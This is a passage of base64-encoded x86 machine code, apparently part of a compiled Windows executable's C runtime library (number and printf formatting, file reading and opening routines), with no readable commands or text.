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x0hYtF+INgcP3pef///4gGi0UIO8N0BscAAQAAADhd/A+EPP///4tF+INgcP3pMP///41NDFFTV1ZqAY1NFFFTiV0M/3AE/xVI4gMQO8N0FDldDA+Fav///4tNCDvLdL2JAeu5/xV44QMQg/h6D4VQ////O/MPhHP///87+w+Ga////1dTVugOMv//g8QM6Vv///+L/1WL7GoA/3UU/3UQ/3UM/3UI6JP+//+DxBRdw4v/VYvs/wXcIQUQaAAQAADoBSj//1mLTQiJQQiFwHQNg0kMCMdBGAAQAADrEYNJDASNQRSJQQjHQRgCAAAAi0EIg2EEAIkBXcNqEGhYwwQQ6JRT//+LXQiD+/51E+iKCv//xwAJAAAAg8j/6aEAAACF23gIOx0QMQUQchLoawr//8cACQAAAOi+Qf//69qLw8H4BY08hSAxBRCL84PmH8HmBosHD75EBgSD4AF0zlPoF37//1mDZfwAiwf2RAYEAXQxU+iaff//WVD/FXThAxCFwHUL/xV44QMQiUXk6wSDZeQAg33kAHQZ6BEK//+LTeSJCOj0Cf//xwAJAAAAg03k/8dF/P7////oDAAAAItF5OgYU///w4tdCFPoSn7//1nDi/9Vi+y4IBAAAOgYJQAAodAGBRAzxYlF/FNWi3UIV1bo3vL+/4vYM8BZiZ3o7///OUYEfQOJRgRqAVBQU+j6AwAAg8QQi/iJvezv//+JlfDv//+F0n8QfASF/3MKg8j/C9Dp1AIAAIvDwfgFjQSFIDEFEIPjH4mF5O///4sAweMGA8OKSCQCydD590YMCAEAAIiN++///3UXi0YEi43w7///mSv4G8qLx4vR6YsCAACLDotWDIv5K34Iib307///9sIDD4RbAQAAgL377///AQ+FGgEAADPSOVAwD4QPAQAA0e+JveDv//85VgR1EYuF7O///4uV8O///+k8AgAAUv9wLP9wKP+16O///+grAwAAi/CLheTv//+LAIPEEIv6O3QYKA+FM////zt8GCwPhSn///9qAI2N9O///1FoABAAAI2N/O///1H/NBj/FcThAxCFwA+EA////2oA/7Xw7////7Xs7////7Xo7///6MkCAACDxBCF0n8OD4zd/v//hcAPgtX+//+LjfTv//+LneDv//872Q+Hwf7//42F/O///4XbdDeNlA387///SzvCcyuKCID5DXUTjUr/O8FzGI1IAYA5CnUQi8HrDA+2yQ++iWAJBRADwUCF23XQjY387///K8Ez0gPGE9fpSwEAAPZABIB0FYtWCOsMgDoKdQb/hfTv//9CO9Fy8IuV7O///wuV8O///3Ufi4X07///6RcBAACE0njj6J0H///HABYAAADpJf7///ZGDAEPhNYAAACLVgSF0nULIZX07///6cQAAAArTgj2QASAjTwKD4ScAAAAagJqAGoA/7Xo7///6McBAACDxBA7hezv//91JDuV8O///3Uci0YIjQw46weAOAp1AUdAO8Fy9fdGDAAgAADrWWoA/7Xw7////7Xs7////7Xo7///6H8BAACDxBCF0n8OD4yT/f//hcAPgov9//+4AAIAADv4dxKLTgz2wQh0Cov498EABAAAdAOLfhiLheTv//+LAPZEGAQEdAFHgL377///AXUC0e8pvezv//+DnfDv//8AgL377///AXUG0a307///i4X07///M9IDhezv//8TlfDv//+LTfxfXjPNW+gk1/7/ycNqEGh4wwQQ6HFP//8zwDlFCA+VwIXAdRfoYwb//8cAFgAAAOi2Pf//g8r/i8LrLv91COik7v7/WYNl/AD/dQjocvz//1mJReCJVeTHRfz+////6AwAAACLReCLVeToYE///8P/dQjo4+7+/1nDi/9Vi+xRUYtFDFaLdQiJRfiLRRBXVolF/Ohref//g8//WTvHdRHo6AX//8cACQAAAIvHi9frSv91FI1N/FH/dfhQ/xVg4QMQiUX4O8d1E/8VeOEDEIXAdAlQ6NoF//9Z68+LxsH4BYsEhSAxBRCD5h/B5gaNRDAEgCD9i0X4i1X8X17Jw2oUaJjDBBDof07//4PL/4ld3Ild4ItFCIP4/nUc6H8F//+DIADoZAX//8cACQAAAIvDi9PpoQAAAIXAeAg7BRAxBRByGuhXBf//gyAA6DwF///HAAkAAADojzz//+vRi8jB+QWNPI0gMQUQi/CD5h/B5gaLDw++TDEEg+EBdMZQ6Oh4//9Zg2X8AIsH9kQwBAF0HP91FP91EP91DP91COjX/v//g8QQiUXciVXg6xno2gT//8cACQAAAOjiBP//gyAAiV3ciV3gx0X8/v///+gMAAAAi0Xci1Xg6PFN///D/3UI6CR5//9Zw4v/VYvsi0UIozAuBRCjNC4FEKM4LgUQozwuBRBdw4v/VYvsi0UIiw2UCAQQVjlQBHQPi/Fr9gwDdQiDwAw7xnLsa8kMA00IXjvBcwU5UAR0AjPAXcP/NTguBRD/FWjiAxDDaiBouMMEEOgzTf//M/+JfeSJfdiLXQiD+wt/S3QVi8NqAlkrwXQiK8F0CCvBdFkrwXVD6DFE//+L+Il92IX/dRSDyP/pVAEAAL4wLgUQoTAuBRDrVf93XIvT6F3///9ZjXAIiwbrUYvDg+gPdDKD6AZ0IUh0EujHA///xwAWAAAA6Bo7///rub44LgUQoTguBRDrFr40LgUQoTQuBRDrCr48LgUQoTwuBRDHReQBAAAAUP8VaOIDEIlF4DPAg33gAQ+E1gAAADlF4HUHagPoMVL//zlF5HQHUOigdf//WTPAiUX8g/sIdAqD+wt0BYP7BHUbi09giU3UiUdgg/sIdT6LT2SJTdDHR2SMAAAAg/sIdSyLDYgIBBCJTdyLDYwIBBADDYgIBBA5Tdx9GYtN3GvJDItXXIlEEQj/Rdzr3ejuQf//iQbHRfz+////6BUAAACD+wh1H/93ZFP/VeBZ6xmLXQiLfdiDfeQAdAhqAOgxdP//WcNT/1XgWYP7CHQKg/sLdAWD+wR1EYtF1IlHYIP7CHUGi0XQiUdkM8Do4kv//8ODJQwxBRAAw4v/VYvsi0UIg/j+dQ/ohQL//8cACQAAADPAXcOFwHgIOwUQMQUQchLoagL//8cACQAAAOi9Of//696LyIPgH8H5BYsMjSAxBRDB4AYPvkQBBIPgQF3DodAGBRCDyAEzyTkFRC4FEA+UwYvBw/ZBDEB0BoN5CAB0JP9JBHgLixGIAv8BD7bA6wwPvsBRUOjSOf//WVmD+P91AwkGw/8Gw4v/VYvsUVNWi/CL2ejnAf//9kcMQIsAiUX8dAqDfwgAdQQBHutK6M0B//+DIADrKItFCIoAi89L6JD/////RQiDPv91E+iuAf//gzgqdQ2Lz7A/6HX///+F23/U6JcB//+DOAB1CuiNAf//i038iQheW8nDi/9Vi+yB7HgCAACh0AYFEDPFiUX8U4tdFFaLdQgzwFf/dRCLfQyNjbD9//+Jtaj9//+Jndj9//+JhaD9//+JhfD9//+Jhcz9//+Jhej9//+JhdD9//+JhaT9//+Jhcj9///oiuL+/4X2dSvoFAH//8cAFgAAAOhnOP//gL28/f//AHQKi4W4/f//g2Bw/YPI/+kJCwAA9kYMQHVeVugb6v7/WbpgCgUQg/j/dBuD+P50FovIg+Efi/DB/gXB4QYDDLUgMQUQ6wKLyvZBJH91m4P4/3QZg/j+dBSLyIPgH8H5BcHgBgMEjSAxBRDrAovC9kAkgA+Fcf///zP2O/4PhGf///+KF4m13P3//4m14P3//4m1wP3//4m1rP3//4iV7/3//4TSD4RaCgAAR4m9xP3//zm13P3//w+MMQoAAI1C4DxYdw8PvsIPtoC4CwQQg+AP6wIzwIuNwP3//2vACQ+2hAjYCwQQagjB6AReiYXA/f//O8YPhO/+//9qB1k7wQ+HyAkAAP8khd+EAxAzwION6P3///+JhZT9//+JhaT9//+Jhcz9//+JhdD9//+JhfD9//+Jhcj9///pjwkAAA++woPoIHRIg+gDdDQrxnQkSEh0FIPoAw+FcQkAAAm18P3//+lmCQAAg43w/f//BOlaCQAAg43w/f//AelOCQAAgY3w/f//gAAAAOk/CQAAg43w/f//AukzCQAAgPoqdSyDwwSJndj9//+LW/yJncz9//+F2w+JFAkAAION8P3//wT3ncz9///pAgkAAIuFzP3//2vACg++yo1ECNCJhcz9///p5wgAAIOl6P3//wDp2wgAAID6KnUmg8MEiZ3Y/f//i1v8iZ3o/f//hdsPibwIAACDjej9////6bAIAACLhej9//9rwAoPvsqNRAjQiYXo/f//6ZUIAACA+kl0VYD6aHREgPpsdBiA+ncPhX0IAACBjfD9//8ACAAA6W4IAACAP2x1FkeBjfD9//8AEAAAib3E/f//6VMIAACDjfD9//8Q6UcIAACDjfD9//8g6TsIAACKBzw2dR6AfwE0dRiDxwKBjfD9//8AgAAAib3E/f//6RcIAAA8M3UegH8BMnUYg8cCgaXw/f///3///4m9xP3//+n1BwAAPGQPhO0HAAA8aQ+E5QcAADxvD4TdBwAAPHUPhNUHAAA8eA+EzQcAADxYD4TFBwAAg6XA/f//AIOlyP3//wCNhbD9//9QD7bCUOj16///WYXAioXv/f//WXQii42o/f//jbXc/f//6JT7//+KB0eJvcT9//+EwA+Elfz//4uNqP3//4213P3//+hy+///6WMHAAAPvsKD+GQPj+oBAAAPhHcCAACD+FMPj/MAAAAPhIEAAACD6EF0EEhIdFlISHQISEgPhYcFAACAwiDHhZT9//8BAAAAiJXv/f//g43w/f//QIO96P3//wCNvfT9//+4AAIAAIm95P3//4mFnP3//w+NRQIAAMeF6P3//wYAAADpoAIAAPeF8P3//zAIAAAPhZgAAACBjfD9//8ACAAA6YkAAAD3hfD9//8wCAAAdQqBjfD9//8ACAAAi43o/f//g/n/dQW5////f4PDBPeF8P3//xAIAACJndj9//+LW/yJneT9//8PhKUEAACF23ULofgGBRCJheT9//+LheT9///Hhcj9//8BAAAA6XMEAACD6FgPhMwCAABISHR5K8EPhCb///9ISA+FkgQAAIPDBPeF8P3//xAIAACJndj9//90MA+3Q/xQaAACAACNhfT9//9QjYXg/f//UOgy8f//g8QQhcB0H8eFpP3//wEAAADrE4pD/IiF9P3//8eF4P3//wEAAACNhfT9//+JheT9///pKQQAAIsDg8MEiZ3Y/f//hcB0PItIBIXJdDX3hfD9//8ACAAAD78AiY3k/f//dBSZK8LR+MeFyP3//wEAAADp5AMAAIOlyP3//wDp2AMAAKH0BgUQiYXk/f//UOhVAP//WenBAwAAg/hwD4/sAQAAD4TYAQAAg/hlD4yvAwAAg/hnD44y/v//g/hpdG2D+G50JIP4bw+FkwMAAPaF8P3//4CJteD9//90YYGN8P3//wACAADrVYszg8MEiZ3Y/f//6AL5//+FwA+EIvr///aF8P3//yB0DGaLhdz9//9miQbrCIuF3P3//4kGx4Wk/f//AQAAAOm+BAAAg43w/f//QMeF4P3//woAAACLjfD9///3wQCAAAAPhJ4BAAAD3otD+ItT/OnKAQAAdRGA+md1Y8eF6P3//wEAAADrVzmF6P3//34GiYXo/f//gb3o/f//owAAAH49i7Xo/f//gcZdAQAAVujOF///ipXv/f//WYmFrP3//4XAdBCJheT9//+JtZz9//+L+OsKx4Xo/f//owAAAIsDizVo4gMQg8MIiYWI/f//i0P8iYWM/f//jYWw/f//UP+1lP3//w++wv+16P3//4md2P3//1D/tZz9//+NhYj9//9XUP81+BIFEP/W/9CLnfD9//+DxByB44AAAAB0HYO96P3//wB1FI2FsP3//1BX/zUEEwUQ/9b/0FlZgL3v/f//Z3UYhdt1FI2FsP3//1BX/zUAEwUQ/9b/0FlZgD8tdRGBjfD9//8AAQAAR4m95P3//1fpDv7//4m16P3//4mNoP3//+skg+hzD4TE/P//SEgPhJT+//+D6AMPhbgBAADHhaD9//8nAAAA9oXw/f//gMeF4P3//xAAAAAPhHT+//+KhaD9//8EUcaF1P3//zCIhdX9///HhdD9//8CAAAA6VD+///3wQAQAAAPhVb+//+DwwT2wSB0GImd2P3///bBQHQGD79D/OsED7dD/JnrE4tD/PbBQHQDmesCM9KJndj9///2wUB0G4XSfxd8BIXAcxH32IPSAPfagY3w/f//AAEAAPeF8P3//wCQAACL2ov4dQIz24O96P3//wB9DMeF6P3//wEAAADrGoOl8P3///e4AAIAADmF6P3//34GiYXo/f//i8cLw3UGIYXQ/f//jXXzi4Xo/f///43o/f//hcB/BovHC8N0LYuF4P3//5lSUFNX6AbZ//+DwTCJnZz9//+L+Ivag/k5fgYDjaD9//+IDk7rvY1F8yvGRveF8P3//wACAACJheD9//+JteT9//90Y4XAdAeLzoA5MHRY/43k/f//i43k/f//xgEwQOtASWaDOAB0B4PAAoXJdfIrheT9///R+Osohdt1C6H0BgUQiYXk/f//i4Xk/f//6wdJgDgAdAVAhcl19SuF5P3//4mF4P3//4O9pP3//wAPhX0BAACLhfD9//+oQHQyqQABAAB0CcaF1P3//y3rGKgBdAnGhdT9//8r6wuoAnQRxoXU/f//IMeF0P3//wEAAACLncz9//8rneD9//8rndD9//+JnZz9//+oDHUni/uF234hi42o/f//jbXc/f//sCBP6DH1//+Dvdz9////dASF/3/fi72o/f//i43Q/f//jYXU/f//UI2F3P3//+g59f//9oXw/f//CFl0KPaF8P3//wR1H+sZjbXc/f//i8+wMEvo4fT//4O93P3///90BIXbf+ODvcj9//8Ai53g/f//dFSF235Qi7Xk/f//D7cGUGoGjUX0UI2FkP3//1BLg8YC6MPr//+DxBCFwHUgi42Q/f//hcl0Fo1F9FCNhdz9///otPT//1mF23XB6x2Djdz9////6xT/teT9//+Nhdz9//+Ly+iR9P//WYO93P3//wB8LvaF8P3//wR0JYudnP3//+sZjbXc/f//i8+wIEvoM/T//4O93P3///90BIXbf+ODvaz9//8AdBP/taz9///oO8z+/4OlrP3//wBZi73E/f//igeIhe/9//+EwHQPi53Y/f//M/aK0Om89f//g73A/f//AHQNg73A/f//Bw+F5fT//4C9vP3//wB0CouFuP3//4NgcP2Lhdz9//+LTfxfXjPNW+h6xv7/ycOL/8B8AxC9egMQ73oDEEt7AxCXewMQo3sDEOl7AxAbfQMQi/9Vi+yD7DRTM9v2RRCAVovwiV3ciF3+iV34x0XMDAAAAIld0HQJiV3UxkX/EOsKx0XUAQAAAIhd/41F3FDoi9/+/1mFwA+F3gYAALgAgAAAhUUQdRL3RRAAQAcAdQU5Rdx0BIBN/4CLRRCD4AMrw7kAAADAugAAAIB0Q0h0KEh0IOhA9f7/iRiDDv/oI/X+/2oWXokw6Hcs//+LxuneAAAAiU306xv2RRAIdAn3RRAAAAcAdezHRfQAAABA6wOJVfSLRRRqEFkrwXQ3K8F0KivBdB0rwXQQg+hAdaU5VfQPlMCJRezrHsdF7AMAAADrFcdF7AIAAADrDMdF7AEAAADrA4ld7ItFELoABwAAI8K5AAQAAFe/AAEAADvBfzN0KDvDdCQ7x3QXPQACAAB0VD0AAwAAdS3HRegCAAAA61THRegEAAAA60vHRegDAAAA60I9AAUAAHQ0PQAGAAB0JDvCdCnoXvT+/4kYgw7/6EH0/v9qFl6JMOiVK///i8ZfXlvJw8dF6AUAAADrB8dF6AEAAACLRRDHRfCAAAAAhcd0FosNSCUFEPfRI00YhMl4B8dF8AEAAACoQHQSgU3wAAAABIFN9AAAAQCDTewEqQAQAAB0Awl98KggdAmBTfAAAAAI6wuoEHQHgU3wAAAAEOhkaP//g8v/iQY7w3Uh6MTz/v+DIACJHuin8/7/xwAYAAAA6Jzz/v+LAOlg////i0UIiz1w4QMQagD/dfDHAAEAAAD/deiNRcxQ/3Xs/3X0/3UM/9eJReA7w3Vwi030uAAAAMAjyDvIdSv2RRABdCWBZfT///9/agD/dfCNRcz/dehQ/3Xs/3X0/3UM/9eJReA7w3U3izaLxsH4BYsEhSAxBRCD5h/B5gaNRDAEgCD+/xV44QMQUOgu8/7/WegC8/7/iwCJRfjpZgQAAP914P8VaOEDEIXAdUSLNovGwfgFiwSFIDEFEIPmH8HmBo1EMASAIP7/FXjhAxCL8Fbo6PL+/1n/deD/FXzhAxCF9nWt6K/y/v/HAA0AAADroIP4AnUGgE3/QOsJg/gDdQSATf8I/3Xg/zbo+GT//4sGi9CD4B/B+gWLFJUgMQUQWcHgBlmKTf+AyQGITAIEiwaL0IPgH8H6BYsUlSAxBRDB4AaNRAIkgCCAiE39gGX9SIhN/3V/9sGAD4SoAgAA9kUQAnRwagJT/zboo03//4v4g8QMO/t1Gegu8v7/gTiDAAAAdFD/NujPTv//6f/+//+DZdgAagGNRdhQ/zboK0T//4PEDIXAdRpmg33YGnUTi8eZUlD/NuiELAAAg8QMO8N0wmoAagD/NuhETf//g8QMO8N0sPZF/4APhCgCAAC/AEAHALkAQAAAhX0QdQ+LRdwjx3UFCU0Q6wMJRRCLRRAjxzvBdEQ9AAABAHQpPQBAAQB0Ij0AAAIAdCk9AEACAHQiPQAABAB0Bz0AQAQAdR7GRf4B6xiLTRC4AQMAACPIO8h1C